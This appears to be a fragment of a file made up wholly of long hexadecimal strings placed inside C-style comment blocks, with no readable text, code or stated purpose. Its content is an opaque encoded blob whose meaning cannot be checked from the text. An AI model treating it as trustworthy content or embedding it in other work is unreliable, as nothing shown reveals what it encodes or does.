fd3a60976f96aa37d98cd58f3160ceea3399f1c25abdeb8966ca6501f09ccb302a855474f5a63378fe94d328bebefdc206b3d71d5846ceb0a17caefd27cb6b69ece2e687fbe4b188d09cff056c13be9d07bc5fb0e7c1273b42c3e7b8dbad2bb3397df700ae98edf2b7ac0ada3b8a360d9fc1a39f79ca063fa8807518e5c32a56668ce1681d3c9adccfa2d01f6cf4a9e691e5197ffbd55391f971de5d9a9745f8a9065f486b3f3a58efb283d321aaff84446a925435bd5f35d4d18d5596b1fbf09bfda96062fe8447191bc5b22ea319154e7b1e1d3a69b712b7ff9b33cf4863f8ec03aba4b10377bd4185a6241bab65c3659c459d85dff5de0ccd4b697c8645c059abba2a039794dc0cd6e3507d350512cf8c4b5a88bdfcb8a83b1e7838cc876f56d6c22e099883eeb41579eb2af672f12f1bc4d67ac03299afaec6ee76d31fef678807be122cf55a06d29d50bdf3f5b1b9b1bfaaa3715a97c529312867fdefb4b70358a241ded7e899104cda17348f4fcbf22d07d15d01e3e989542990ac4a6615aa7069ad53f2099106163b74e1f63283e131a567949b269b033a1cfe6c600dcf4e38e068524ec186ce34a4a7214ab925e7da768426483291e9cb9f6ffcb433d7be0d4e6b39b080f8f325aadead5f83bc10cbef48ed88a8a096930d5dd0419ea541b2f5f9dc53d5a4279838cf1d1dc836665c81e56c90c1c32e5408c0b9a8366b675d371371eab35f8e2f5104a7dd656e1c8660e485e6862cf59cdb19c9168648fe8ba6be88dd604df214ed781224062291f48a77e6147575142762c267a3a5b3b018ffd60e83db648f240aa6036f5e4e1e0954460629eb8273eb0a24cc225b7f2514089dfcc57fcf5d998fc68157621f039dfd57d7973e4e4752a4ebb66232574d19c450104a07356173fad6ba0671b7ead7d9e877ec236a54232ca0b0d43a816f97766c3c342d3f30b9ce02ee18b4d8bb04f39a24ba7da54344bdf3387b70457ef58d8dfccf224a4ca6b7624e5b37ee5862fd1e1d3a36c0c15023076afe325938c73101b40b528505202ba41f6834f8df9b3b83ff7f32aff0f2ccf76ad3b1932690fc265f65aa97c2ffc53e7b2d899d5d366b58423d1ff8ed84999aca75308f5ffa89ae34f053775a83fe076f0da4f42faf96bee55d3e22482325b273890c5317bda712ab34e0167e1d434b16ad8733f5f44a1c7e0276c74c5ecddbd5d056a094f3175fc45a0917ec01bda66dd2fb91d9d3a74a7c21181d4f91b27154d4d4f5404ffe6c1278039b7acb49105aec9f0ae77cc1a5d68d536a0beb5a1a7fd2718a84228f7168fcb25d1d7188b44622b6f86b1be90a43560d53f905e98038c30b4752f429fd031f*/
/*e4b585783b7aeb80dee04f3ada00d6b65791cb0060facff4bbbffcc28e67c385b9e8a0adda254a2ebef2f8118e39ae0f49fc855d8e3ed85c4af67c4e84e94052cc43a7dc84638ed2e0dcdb530e4253d65a27c96ac2f8ab8d1a330b1bf483ec792145efc629e33df579037d0e04c2095c31be4bd7e75e233c2324129e0eefa93891294b67f1530638367d00aa3b976021d708f02dfab5c0541dca6aae29d0719c89223b6b72dd46f1b8eea6ac1b2f2ce6612fc4321d3d99b8204625badcb661f0637c8f0792e11dfa9c153f750cce3201bbd4c33990c56c2af3477d748846e03ed52612c6fb758c7746d2e7dc8944969a99e739a5bdf2cc5bd5162d2049acd5277a13dccb348abfbc13b203fdeb33c6fc49ecc57c4f7e65e442704a36a1ffe607a6a716079045613da8e4d7a6ded39c70307a0591a1f09cb7f9d08cd9eb880cb29d5c9af4d5dda7c10f88d6dbeca2019714da3994bf48e32b809168b00f34bb88ba954ce264e16032b6868e29529bb80005d6317eaf825de9792b82ba93cd6c897ad901d6696856f94053ad56fcb6dad11d52f6e38937985080a67a621024836806073ff3d583815ee0d4c3e50e42eb0cedbe2bd04dc2dc9c38ba5fb319a9f2bac483118e9a472206db6275a13576623358a3dea1e96c29d8ed4dd3ddb09b84eabb6f1400b55f54ddadfde517270a2ef564de876176e46d01052a0560a7679725a58f0df0333a8f2912b752dff000aeccee0db9869b4583efedbe2afcc1981d76f5c2c44a36a2c5b818475571f2abe65b832d025c2e375485d0d99fae9f363c574306be00a8a11fe2e77700c6f72ce7d0b1cf9eacf343bcce7931579020ab0200904910426074ac92697ce64614c81cd4e890c0ada8317e9d4b87d62cf11bbe3affed4abe6f73b6b110172c3cea683f0c5cf73f2d9a2ab1c183fa45b979881512759bf0822d147fd48b3d784ef8829e6909f25a753ce896e3a0345d5668be31a5d5a7fdd666444f96043d7be402c3ff446b1f217000f6972ef6e8ec96c84ce42186a3ff1ea9b0fa3febb8440d97f02c5fb3f49231bc32f39f61ecf9c1007b815a5276c333ae11fdf331fb8bbf76f9e92ea5221f9629bb0f3709596e4ddb55300a0e2c5500388db74c03d36f13b911079ad49edc43b62e4e443760b365395048cb1c92f1965926937c366c6877753a3d3d8b4cb99051d9cf5ad5992102db4a48f32c50140ea687c5dcb7b3ee7ef7fe1054438dc56a1b82e5455e509cd79f5b1a3016861579af2a92eb22707c22f47da0dd686f39fd352d0fe9a5c2eb36b7d94d062f1700da3c5be57c5a0ea9b095cb0ff56954e29abdb0d6b62fb7d69901cc4a5b61c8166c2c2a465421d8a24da77415dab479ea51e45775193f7361116d388e9c9c168beca2e69567f567b8aaaec46ebf216b0c7c4d3d5d6e2e678c65faae054de38f28572c11cef8c7d274a5896a396cd1d39e465c7c04ad4b46270f811ba02009680d75672ca1fe2650711c296dc23fb9a628cd3b1bb78691c88f50bfbc11c9af13b6e66a3bdbe70467efeec4155bdcb9c5f232d770cf987c12b060cd861957f2c8dbbe07fcf6ba5036b37ae4372fda1a4b8cfd628bab1268f96b2018d8b867a09e93711b29294089d082cca6d08f2a16431d5546f5af7a11676756df9731d26ac30ed7f237aef81bc7f81965eb4827847a8fcb61ca102172c823a35bd2f9c4875d9943eccd1e1dae3416b8e5f7379f11946dad325f448c82ca602d2657bac27954320e46ce7cc56ad77b5ee5e17d0224f100ddd84db9afdab13535b6769ecbbfb535eadccb080d09bba41f7676d92332c1ea296328a9e161577513ea3d8dc91ce07490e13b326c97139665ccc106e32238cdeca0677638957c1da432432f3d04d31adc8572d046af99e57b7ce05ff020fe4244a67bff19eeb58c8524affbfa3cc085db4ec91874749454d38426ca01f37aef9f05d0d9084a7020a12b62b09c92ed9e375dd2d0022b51d99054fd9045e21080fc5c42b938a7ea366945865d11682f3e9f433af429405d102de70b0ec3431c295e2a26fc0a8de8215b243d91fa50eabf7c94b7bcd5ea97df0a9ba6802de2f69d4922e7c4bedacf640333e969245deb6e9e1731a78f8b466a17014d94d43f2bf4b5fc78b63e59b9ba81ab741bba91daf1a347708ebdcf8035b6a8805a8abe8d84a0aad09f55ad278b4b7670f9b885afa69c4bbf990c55d94369553fa92b5d9c0ebe300fd808064f8e543bbbafdd2e6498794b6f4d232ad9e6a11622ad9587dfc9be8a506815a22d3f9085a6d881e59a8f776d8462ae007abcd96b894f98704d73ba1f50d58eed093b3f28ade8393044071a917bae32da597928b9caa7cae10c02d5869bfc2cae9494583ccc67d17ad973bef52e008cf7f9f7ee3bac1c64e1ee58c3d4a5a34c62c6d1e40c3ccb7a95c6caf0cc3c7235a87dc519835b33524dfb994b62227df7459544ef56d9c108ba8d7bde6b3295fa39dc4f42f3206e8d0c99c3ee5c12f4e753fcd630e4f3458b8ca240f86f4ea1323d61bd13698f0ae5e0a57d502e2318dbdab8232aa452980109b7483b8f6a2ade429bc24d029f1f18746e92114785bde749a82ac37b2b2201e45aa69a32e80fc9054e7aad1fc139d934d1030ad7333cef27ae5f1c004b3dd33b46184b7b4b18db1e2f247a1b27de68c31e5286d6a520f5977d9f5398ad54d67143256ff18e69bb286efab3d49b5d86add8dc4155897f02b595b22f168ef6fd8ef0ef2a504a5ecea15ee40ca48554b97f3567483476a60468f4f5f818258945c1b989a6a3662a57a82c82d17e7437e4*/
/*56720ef8755e153a1d221fc8e0fef81d20f7c06ea1451bb6a21c09a2a94d346f3c9c3f2ecca2324194c01996390681e496531cafc44de21f0b00878e6306586dfda4ab8959692e8e6727885036046b65d60bda9626f32deee3af44483705f4025ffb02bb1fedf7ac596bdbf4bb39f8defd556c764084d9ff14c01610e5cc7a34b003024b06e7058664530f79c431094a332c6fb8ee30ca24b9320979a8433f27cdb80238575cc1c8844d5e00466d5d9cc92b1d1770af7d58a008e39ce069d50cb868ef714f5e46e3c23b4fe20090e760910b6c127d18765906b23e0d1cfffd21741d3e903f70dbd762c4968990830eda10ffdcbd8865adcd03ee28ddcd1501c5611ed1143a686e8255af5d1f114cb2dc0d98a554c597eccde0e01c663ef17f0b04ef536cef26ab94a3b8f89fd3f39ceca0e3b7c537dd65f0a0102864c28c2f4d608223241052db4e40510c64c96de1ee6ade4155ab60ab1ddb50cfac642f93173e5cfea7fe5691ba0f48827a92ccf6d8ada0ff6a109a338a23eda4ec354ce24f3b25813bc43fedc72eac7f85b84ddbdcb2008000ca647ce305af2b38d75b969bcc567b58ddb2e8ff3737a36d830392cae3d22fa2d1d1f8d0a6aba0baa0c507fe354aaef8b6045c6562b9394c2e847b15982ac2a9f4eddc8e1c1a38411ef1143e540582884f321357aa635bc5c1d5e1eaf135b3431a6850eeed1bef7a04c92c3941b4ca0850a22c88ca6f24fdb8e4d971aece82533bc4f4d88b614ec5334868bddd352d2da591b21a9767239d23cd5d7d7da1ea8ed0fddd7ee632eae5e34bdbf4df10286ffb049dc23d423af6b5449cceaf1041d700eefd1b7c40abcecf8037b547082ddca54ef5b2e565d448c0c2bdceeedaa7e268547b9067085f2b99ec645b24301824b1f48040c1a89a93168263b4db6f07346c32355adbbfc2a7352a83e36dcbb00b1c03c09fd9134b2c2f4195ce0a41bc023596ade095dd4df77292c119e0a5546dcac046d57e555bec88ec135dabba29c0d9b03dc98775d12892898281f9018debbb902c0dc42bb92e01085a2d2811211f4217145f565d2d8f53ffde7feab47121cbfd49ad6986a3aa5d64b1ceb6780a8eae756560610aed6950de93ba64a90fd742aa7d9bf0cb645d110df7d0715b593dc35654b2b95d6720e282c4ed2691673aa720c92a5d862ada3f1479a4b3e252f0dc09ab500e1a01908b34cd37b63ebbd14a61086ca031207e79df902fbe83403299c514eb9624ee24fd9d65b70653657378754f37859642e6875f894c73ad53b8e0575d7aeb0509522edad43559e0ec784304ec09794389ebef5b4b9cdac1463d930c506cc0953cbd803f3cf025466924d6d36c8c50915433c007b36d195ffb144cab1e4a4ab43cf537316646aa0dff530bb186874f5f548753ee2e2f235cfe8ba32dd8a7c5c656c909ca069c7376e06488cb6b24787b855c36533e5bcfb7f75a97119114ffa0d6df77922acbd9544010ac244b8b373502d1a08a71b05f6bb04b8dc17941214665b1749d20745d3f9be292659fd1e6fc4e4ecdd4300624661572b411d2fe1e7a3e238fe545090dffb6cd575aebd405615e646d1af2ab612316b4e1815e4d73bbdb13cd80256082a853d98fdce784d3133da6f3a0cd6a9643c6fe0dbdaa8d7ecb65acacd26fd69e660c585a63d81a89d275550070ceada487c2462db14e2c0e9885bbc503c38e4e0643f185d3a9f639687ccf5712880ca2b7fd991f436a2cf4959946b61d371d531852dcf6e149be2cf16937b98675cc0b3c63b9949dc2495aee731b6b3499f937a285daf5f79f788563336eefb21ce490d0ade8758e0103c8ccaaf11bd7ff35873224895e3fdee1e57bc900790ed869f6d385cc3363d11ccd2c16c12e53e88b8340ed82a76ef7a606038dafeb37ca8b1f06a31fe753366706a8297a1837d262aa95516693379a1344a590d2ae6791dd5e55361d343f0eb9e6f4c4b135e273d3166cd88ee4a3e7ce9dac63def995a06dc68f020e2a84c5ff0c5d3ab5ad1852a0c6025c124cfed49c25d63d1d047445a61e08e0ef6c322a5732a36cf976d204373423f70fc334e7aee76b8d105d51ab27d40b4249057830463612787559b2bd9bf8f4c9304fe617a79e2b0c3bd8f37a1d4f4e84ae6f0958756e8e80d40ccada11a49f6c74eba78491cf537be5769f1c347928778c85437518e58fb9c3907d2d26c1b8e6647696fb3816ef09990828f2820106e132b75c7be3499069ab3fbc2e376b90feca64b6ee1aff3006941195a65b17340c85227f877662e0a2fe66ee6cd36b68fbcdcad698b05b0b88efe529af25c91c3524bb209a6396b50074a6edbb9750bed212d41e5f1bf033e8e5f2b4ef81f9b0bf2b2ac771b2d4a75c480e8f9910b3c1a1f937df4f527e9738dea30fff42b1b42cf2e7f78b79f2979f62fcb58c222b741ffadd42b68b57ed798e090b95f672f210eb927a3570621b45d8c5fc90891211b5e670fb2a7e2014dc419024a59713029e4f3240b90e8e8df81ebc6d3b43011f040b9dae4e68eeb4b2e4a659b710742ebe35947c612fdf781b305a74440e99bb73e3b0aaa15f6fb5f1811c85720f89cb197968d80f7f44d4f171db45be35038c412d85f26ec4d1459afc330ab44085805521a3060263cc02004f2aa8a5e1f5374bb32e6f5ad2afdbe35ae399bce5b6a09151eb629d661bad8dc763ddbc92b66fb4d9bb031f117f6629502e8c7693664dae8c0a182bdeca776aff6f9c9874a0734be7626b02ea802d3497e3ba91fbbc82490b93043cb7aca8704006ac90cd1598c23ba0efc75019a4294d6a9560f7*/
/*db63b456774f1fd833e220388c48fc74792ba0c6b492404af42466fe8ff46a5a22e92e819af220235c147f5f498676db6a350b3ab051d4de7aac32ae8a62a279c30678d3c2c0bc3c889608ed2facdb8e11d76cbab98cec8e485d800810c300e650f26a5de7dd34a8c0a1f26ac5ed6b86b7216feab5af2ce21279d1b21a9dfd6bce25a8752f32a31860728052886e42c78d5690133f35f22c0bc9dd8ac5078c37ae351829d94b8963b1db5ded78711cf3f835ff537ee76dac2095a277cf3821a6a7870bc0b483c0cc32d2d7ac3d00e573f0286821a6d77f42ebb82462ba92cbebf9145d251b66780874788ea31470caf4599510be64bf43a1a60b631ce84672de4ec6ef3b3ce60344ed17727dad62c907371c206a6dba0d8f8d541c3098c702d7c6ea05486c289319b471f4f24fc6a21481ab13e25813b70af210356178f27f6373269482844fce3647631536a7ada4dab092f60be56554bc0009a3f35d2d3ebb144daa330ece082c03fbb3d437beaae4128afee8f4f9384035931afe9ce26659dd2cbbbeaf7d719890a66b7e8e6a8a1418fa6da9e69985a4e470285bb9be4e635f39823f187db28b314c73737b594c72eda8d8a9cc4c7d86a2f5bc76858b7d9ed5aae4c8205513c26cf10b1c39b000774a06738dd606738d3098194b18b22cc6b15a1dcf3803d21ec32e086c51193a478306d3def823521cd8bbf65f7b2924b86f4d86e69411bd179759d52c13350cd75774c17f377baacd2b3bc87fa415eddca38dd366b9a00a5c5f13916e4c8dcd7704ffb229a81d9c9dc0e87fa6b603ac871b3ee10b9cb1b2f8a9dd62bcae367aab1451e30ffc8ad20d9a806bbbf613d6bf4ddb24f1a717c06338878c411bf329d1dd18e1c45b278cf3cbdb864f3fba63d05649136f2685b284700f3d402a6424bebcb06bdab7d96da13fa33c693aa139d566e8eae80999050764b5b6097a9ea2128127f868fe6294c02c47d6d4ad9af0fb4d92bef326f7fe02433ad841ddf633600350484a91a8750525b246a446ef61e98817f75c83a2a8e509a34da284c2dc168fa4618ac8eaee44f043e24dedde14902d2c131f9c39c41f87d1aaa2615fc1b65b4c7a8b6a78eb88bdaabadef99b1cdbe2cb73ab2e68b2b714440a64fcf5e5f439751d2b6a8c2088fb38fc9de3a85864821c5f73cd8176918455af4cb51572b714aa1694e84b9a0987b933040a4319c641b13625f14ebcca6c1e5b804c5c7c6d9f1eeb72265acc76f6ed04848c61bf546d010d6c7ada3d9cbccc4d94e7c8ceab43810a29241ebca0933bcbb9256386a4cefc6bdd58ddf77cd81fde957be8c2985bc6b5aeaa9ee64786a2d25ad1933319ba55a022074d9f44b8528ff33a974640ddb5a7567b5db3c0f7e6a865b53a6bd38ea5ba6bcd326a62a203e46b235adede88a85dbe8bb678f3564e1f76aa621c162528a5311fd12ca09dea484d705c3b25c776db58a859ccd1762722735fe730665e310ef49c52846c5aab45374356e1982a89436f2fd8f4030f5cef5f7040f68f6c41b71f77a61483cd59f801fe5aa1cd8d716d1a46a19799c9779d3b835619e228d1c2f1401cf9c5c889cef3a1eb75a572d7c7f95f85aef63c0345810ad1c0967b702bea572a415c485591c57dc33cc97b729578a0da17b7bdb052eb3922ae1296d3a234e3d801c0c5b02f5647413d2f9257cc54fe3ffc9dde557260403f40ec07c70de31c921cdeede8205c553fcc090db79ab505fbb126417900327136ed2539eda83acc217773f7b321a8d689be1b46ed4fa3f7e811406dc6cbf2a1446a7b6bb8c0c311ac371418df516320979ca4862054dde0bb934fc76788eb25653e3fbbf1772eccae073ca3a33b2512dec8f605bafc2f1048c777114570168a0712c26aaaaa51dc457f597f07befcd2776e7f6b63f559fd01a04f455fa0e4c37368977df51d61e9745c428d5781f518ff1eb1987dea01b62a47bd5a887d8642768f4c6af98b6cb4d2979d3a6ab9367a57543186cac93f0823434aad125e21000ffe973809d53a40959c13307b4dc9a294a1be347f12283530c3840b07a75cb7fc4f8d293eadf5dc8b59738a9451142b4eecd9118043e6050bfa581718e6011045841c110b5b9f3df325595f7410b7d63167c0bcd403512df5537de93468ca81bb78dfce847bdd46a37ecf91a0009b288ac467aac7143dd5b4343e6405a51b12fd41561ac635e8c763cabd251e45c6f4184e8eaafaa8c64951580ca707934e65c1b520c643669231310f6da29c856279d207d0b002ef28a427215990c9c7f8e28385dbb71d9ec720db99eb5ff36b2d3faccfb2ce4d528e24284b42928b1c928a89c66bdc6b4fa1e726aa9b57dbb9996389116ff1edb4a7c77d613650c8dd9d36ae94bf2613a5a82ad7931b4270a7a4309e59050b0c9cfc43daabc17144cc94c4ae8508db3dc7763536abd55c536c84ae74585f67e7d51e8f6c92113f25acc741a72bceda3260c3407c2dc768248c8031134b9fa21a6ad0b08a37f3c4c8b81b84e14eada93f0fe8370f278da1ef5d9d37f502580fe5812adea1195236de0394925899c20f813541cbad15f99f5c3a4f183082a49a03db1b6d0bcb6a021199466943a5e625cb498829399777dc881a8bca4f3458f4bbfa7ee15640c47382f86bf9a662cc5e5f814bb6b893f0f892d37823192865c51f04d269019ab440c4c95ab17634f61aa29fe1660d82c3000a6753274a319fe81342498a280ec32462f137a508d13ff6ba9fd4b9a80ac8a294b0cbf189a600fc7288795ee69b5b9b94c9ea1f2c59af6735b3088c5c580c57d253a6b45e8988*/
/*ebbbcb8c6749d87b508072e91af643e95cedf479b6863bd2982bace973dc0d256f51054b7d375b87cf944b21f2eaac023b5f7427f4ede9552dcc8498137786cce367456f7be328b13e2fe294d4c712e11ca900be00f0641ba3b6e8f4f54bb4f01a9d78cf80f430ba2ff4b4be072606b3de85d51c9a1bb880d1fa73314448b8652a360c39e4e8109825f3651a7d7e08655d2a4d0f6679db66ca7cf6d9e4347c6e9def4e65a6dddd0dc50d9a6538fa171070baff8e1dedbdf53113e3c7f2096e40998ef837177c9f9775cf40da1d00a51df04580a13aec93d75f02230db87d19ca4caa46a9c0a07b5e02b2471c11ebbd9f1b7a3aba38ca3641e21357c7ca8ec495da2bb66752f5da19f97b0e94bc59a2a366b976ed3bfb77d8e12fc7b1cfcba41e46ecf599b7f12cd93033855152ef8e2424bd6203193d24fd4cd3fa66d8b2690fd5917d9b300d644a030330eef7a4f2d9dffce3e9ee24d8fbff177da8d42bb7b092467ccba437d2bfd21ca340133b6b7f8f16d45fa7b6ad5499e19ab6d50337d4926442dfe57b11480b9db85088c8eb6bf5d309569477157ebed0e75aae6efd5e5e1f40c7d5d9931aa34ba9242df63de8008450ef6ea1e95ea97930ff6fa26d5ea3c1971d38db0ddbb359a0f1acfbd740556186ccb4e9a37739093a24c20235a93004050fab17afa0bc4eb2470ff388feb3179f83605106e76353d17ca65bbdf1651ad13f9e40ae7221491ef814a89e621ad087d7408676315e2b76e3e2af7916b7d168cb047734a477fab4d692a81baad3bef727d3116eebb1b253731d5923e549e94f40d61418b9d2377a7c729c2bfae14d19e757df9126d714c3446de1be5c93d8e7ac43fedb573777090e314eb751b7ea29bea4d1994a69d7a541e618e89f981d70ca859e8888ab5553c2ed971e9bb118caf985e5488d6c11d4013e3b2ada0ed90d97bd6b679f8bdf37174c4f5f5fa9d4889b204e4c20169a0de5d0394312cce4e963a3a48ceaa6c08b46db28cb9bce517d8ee6c76254aabd17ce4bcda91add91b8bf7a62d6ca67d9e325c9fc31603ab76256b9035bfca35cb5275a9533eaa09a8bde1ab858e96534a642a5d73ec22501cd41ae2412db3445ca63964b24583401d84460d461e33cfb6292361d8c22eed80db8dc42123485ebee92eb7c4845bd1281a2be391ccc3ba4f322f2f05b48de93766b8ad0512e596b8669a499d359c721966b8296d392af8ffbfd1cea790c5943b02b54eb20fe3a029eba6457225a0e6d982002dd12354faec64d2fb6e05108c54df0c8c03f81812a77b4175afb1b5d1ca4e0f7fcee968f7c5a1b69a288df04ae918b0cfb36317914dea8796baf0b3eeaba4d680d3cc42ed7fa51fcd1ae059f4d7f3d31a0cb76a0fbe4622fa5c250ca2df1892699a60655665a34d932397346175f413929649e6b76c1b50bcc099749ffce8323519deca70e2a1dc61c29fbcd0b9d7bff28b0217721090b0be1bd0a716cebb20cac4fd110367ad5e777054538d9831a8f61f1d6131bb77bc729da042153df29c3d0fca5b9be037f10a2e7c6e9c7924f4a122512f48fa1f2d7271450bc76c9ad4df30e37b30e9c9b8066d878c343433b86dd6923d49b6eaf7bad33f6ac59acb26e7d50489f47ae7b203f84999582004e2e1256d45078a796f649b70dbd6ddac39722aa134fcd80edd24eb9b5d5d7c7bb00133eb4a5af12995e689d55c9747c8f8095730fdd2b9538d7d2af9c973fc2f8fded74aa8f2d9e7f8ab59bbec692d1f094cfc24e958dc63699d9e239c9ee39ab612e892fadaf66cf5fd5a0653447378614d2a48255a13628d9094867af2747d161950b4aba9b45b2aa739dd9a94cf0dc1a94bcb196f24f74c465be4d561dba6397f69251d203630b3722b23098b1b0cd4778a2caa09ff82f116821362bfcb320f0a7f6c41042e5221c9c28d9995d2bfc7e50f6c7ee455849a73325c3fecb1397bfc1e46dfab9237fd4dd96fb56aec4b83619da823fa3ca96c39d027696c29990dec088eb278273b8ccce02c35f16dd1abfd72cbf65bd74c6105c179bc3f00122fca10eb3287b60c059d66f057eaa45d743bc2713d47a211b3559d16c79a500f3806223e66f38036b9e0ae2cadc7e4112b93d29485577c2d29586d717e694e428c84e340ffccea5838bfc813dbac35edd601e087cba2fe998fef66a72edd116614dae27cc4f7a099773b1cc57ed8b64bf0db93a4f09fafd38e445f13c0cabbcfe2caa6bc17a274c763bf51b998c3b880d0144f594f3060ee9e3d9839db90a4a4b9ee849aecd53b19b99f3a14573587a544d8ca55fd0e8556020977e1ff1674b7b09e5019630b89d797bc54ef97d52243ab90132517e770258ce722d730c1570578386e63fa9c3cb9def89e3b04324c3a8d92eab982724cb8eff7ab24f4039094d4db89ac8ffcef62ab0b558285c96bd68b83d7052439bf59eb9a412bff952360b2864453043118aeaaffdce5bb9250c1eb367dc771bd0bfa67b46a6ffb45910e6d4da6f56c2893798c5c1c6bba6df372bec232ab928ac16df617388a8774cca207f9f8e9dbf891ac1ea13cb2c65df1a9c593163657c2ae8c2fd9b2ed95a029c68f6e104ca2d7df828bcb714bf51bfedfb572a2e85ef59f777949ae8921aa8d926a5a53dbe03ffa7512df2ab2c71510cb8f1cdbf3ef9ed5cad859398ed02a66a3d99e8b9bf9a5f8418d222a4df1e1f67028c2af038015c96a972305906f0bb89799301a1e5fd56f9cad8a87e7124bb34e719a1d831fc353aca1f10d17f82e4da7d94c68519dc78f8349b778ac3d72bf09847762fd5b1574fda7ee8e290*/
/*6a0e447430b954c54f53bab61c57a8820cc704f70a132544ab0aa303d6ee8db008de58c23f7683c22adc1c1ab384fef1370067e6961af495e6c2154fdb62858e905c8f88572a88e0d8c52523f3e498028289a957f6372885d4e7db048267ae0cc2e03724e26afe18158f62c1ce3266a15618190465c971d0255420f42535ae935abb6f5e2713362115b073bfa748f06243483f54d96431005c96b283157f754f4834c70d7ca9200665ef36456b83a78d37287ba1460085bc55bf5fe41c3b428b1ca185e7840009fa363e6d32005c9200feaa6f9df61007738175ecc6bc7eff46dfefe56e61f791fd57f743f389bbf9b37774af09a5648c9d2e7fc3b4d8bab42b744466931acaa296d217b9ab4371bac3543175190e09ab98ceda761df91cbba8cb50893397c62dbd458acda96154a583662dc730dc87fc2adf97f9be2a2ff7c4954cbd8cb78adc4c32b301c38a745a90d501376d0ae972867270326e807e0cd3bb20c0ee9455fdf89860ea5096cbc49ee5e07eead6fca7bd984e29eb1c021e7a7107750ff7f9c68b12967dd77179d445e036fd7cb2958526f84ac37936381b4ea9d100d39db88dc441c4f144822df5ebc0de593b0c8cf39ab4bad15de4f5d69789de03259552a8ed341dbf803e526b4318aab14d93d3dfcddf39c2e9743fc71a3fc7cc19388e81738e084721e2bfddf69eca59e3bb6c8d33c0a418d543e2a553c35c57084940e23df31f8b4ae973d93aaef6aefadccfad42c23466c89296dec403c895cd3e8092799cb062d851250430634f740fc942a306709cd7508f8939f7680c2a288b49dcd0b3720cc3f6a0c97361f11838a18e652dd8f0fa82bbfd5a72c4d318c73dfe32c5ac0309851b83a7e102feff92b1280b416e4dac3662c844ae81e07fe1801c3eda23479bdc7885ce018647827b899381c072b2819682d8bca66f3cf7563ffc34314e3907861bc24bc7b011b7446b5760f606e0b23e5471c4803504a70000fe3c852074e27efed69e784e41e17a150e68dc276240b69a49fa5c2edb1c09b9dd1b9769cd98d8cc3273ca55047a8ca42dac8af5238d11ef687e40096a9273b8f51ab484fac59f001c9ff17cb2ea631749dce3fb7499e12ea9a5bd56447413a525b32665231d4af4cc724d23ebd20a28ac337f2b07bea24c666c8cbdaa0d6850562439f9fc03198525aae9d4139f1cc24bc3aaf4a2821d4498688e4acd01c7aabe0cfd3d74c6e8b02f666556d571e59f34165dba8f759dec4ac9af9649cc12cf8fbf35aa7513284a7f968c45dc3190da785902f5d87822810be9bd1364a572f2a61e2b1469b0d4ec0e8a82d7085fd36d77766cbf8910de225ee5890099082a64cee3ce4e442978b46ada4e8464b5b6067f409b2e38589cdce1ec6070e168a8ca25fe9731f307a423d50c43e208efbe1017c6ac081af6eb4bfa8383be54daa1faae57cdc43044a862fcb5b960f0aeda1de78caa6b2a165c0eb2162e5781512b379a67bb95f2c0f6240593d5a4882160066385c13349a0c90532eecc98bd7bb007ba9c4aba51c39dac3db102192723a700b63a1f99239ad78fe144a8f2e84e9dfac1c1b624c17d1811ebe21a0ba96d9153c990541e7d95ccef288631d884c101221709da12b939cebbf3b7c3182d98e02a801efbd76cf3bb1c06ec15010da0d45eaf3ce3d121c3a7a8c12a33828318759bab1d368b6588f6ac4b871ca14966e07cc47e05dbe84cb66d405e88d0b8a56224592c4159396ce7d236059da61c1b5d70316d7ebc592eb06c744475360cd28b23c26d631a8e0ed4e4bdfb061824fbe2b02b15d79c815ac9c2565672823f32910027668941b0b19487f3be4770b4db982d9b308a127425d346df8ba6a4492d95fa52e9b8afa20f76b388bab0aa54bc48113d57d94445d885c80932c3cb97ace287828f0891a89c0f2b657407d2fee67ad773e0f0450791ecf7fcaf9d3bf1632a282c4b48fab826f4cefc915d9ba0eca96a7128d026545580a81ab7b22cb56bc4f2043de69cd007fa46681eb3a1b2833dee3fe83f83358462d557213740077315f6d9f709729e3b1d536c07fbf81415e8d1bbd76aa66d5c77edfdaa75298292472cfef111f55186bfd253819a24ac2c4006dda69efd151b75297f393bf7ba2b03f5c7b1a6fce9eed98ffd18fc0707474bd1e998c2b868288adcf4bb0c6710c5301555084a200814bcc25d0289a9c8e419afc2fe5f563c592f244a525dc293894e49a29c17d8fd18eb74b20006e641ac95612da1927e3462e726c0553d0a336e0848c3074cbf5fbce0b09f9ba63056b2bd3cc277a5cabf4c6a2926eedba32363bfbf39fcbda1bfda09cd1f1b5c3bc6fffbc382996171cd0f4c0b3c6875a579fd66b1c607c4ac2f58fd9d00dfd46c2a532075ef0794a9ee433cc3206b1e508c0f745ade3862426c0904ce1d87f64400a5282ecd7b62fece2a0116391a4eafe6605fa75431ddf3ba72b8d3a918b0cd91a8f81a0b9bf51e08104ae4012f2fde16119a6876051bc7ea15b04e58a2ad2f1ef9ff817ec00d79784fe0c96a14b2e44905900f3c5151ef46d212ebcc4f6ae0a6b43d2f36b372816463d80f143df6f5ba962d132ecb8e20fb83979110297facd3f63ecf2e2c1535e35bae085b9d255ebe4a2915bbef2e310cd58c98f56c069233ea6c955f6624e5c806f1952959177d0ff2b7db95b0c505cdf3ebea979d1cb30eeba53a130dcd3928e14622b3d435ba91edf04966c2918c53a0f1ea65632bb2ed5316c8b8cd93e216bcf5114f17dfc37b71bb2806a190c4f8e53af622723543addccb931aea6586d21636543472d6*/
/*d1d4684d2e7129158694090c9470cc3773ee16724ac6d8aa604e429bea49dc21c1152a426e77ec19e056df6eb9f0017dfe5c4ffafd89d4602d26c907ab6716f746a7a2031f3519778f55eceefaa12772dadfa837d7a3a9d9af294761bcb0bdf10df3d8649fa5bfa76d4cd00ef3df4cdec037891f6d48d878e42f2bd14a106bb2707be573949db9be8844914341c2c8ff133e84a2adc7d4fcc2b861ea0447a61407474a5d2c4850a03d611c2981c10ff5db6c76c3604ee810696d8c4bbd5dad9da652facd95c3df8a2a225f70dc246b728509f210c392297fc8629090397a399b688b17555bbb0aa784251fe58a43c28bb0229467bad27bcab62aad2c1afad55ecf9fa18233ecc2230e6f91350ab7be26f05a2ffe70fd5a791b0b004478d26860428481c38107eccad7d83fe183974990f715bd84c0bfc365e2dea8566ed4d7a37c5e59f7fcaa5559358d862cb0202935f06d1c4a0034fc9f61bb8c1949f08a7c48ce0bd44310579054a455851120b96bd16dc4ec17fe1385c8c8149397ed8a3d06ae039db7b38765456d29f1ca304cd6d8355125555ecff7756f6d02456bcdda3daa1dc793ada707e6a3a6a85b97e4d049db37e34744dcbe89f354e020f22d4abbd1659b2987259de1b5f32e1d1878054662f86759f3e1546412a2143872e90da5e8ab175c94deb05306da1309526dbda64d0266ef9bdf07d93c3562c5b2ccf84388dbc54c15a596e99d4ff4a2c67662a686960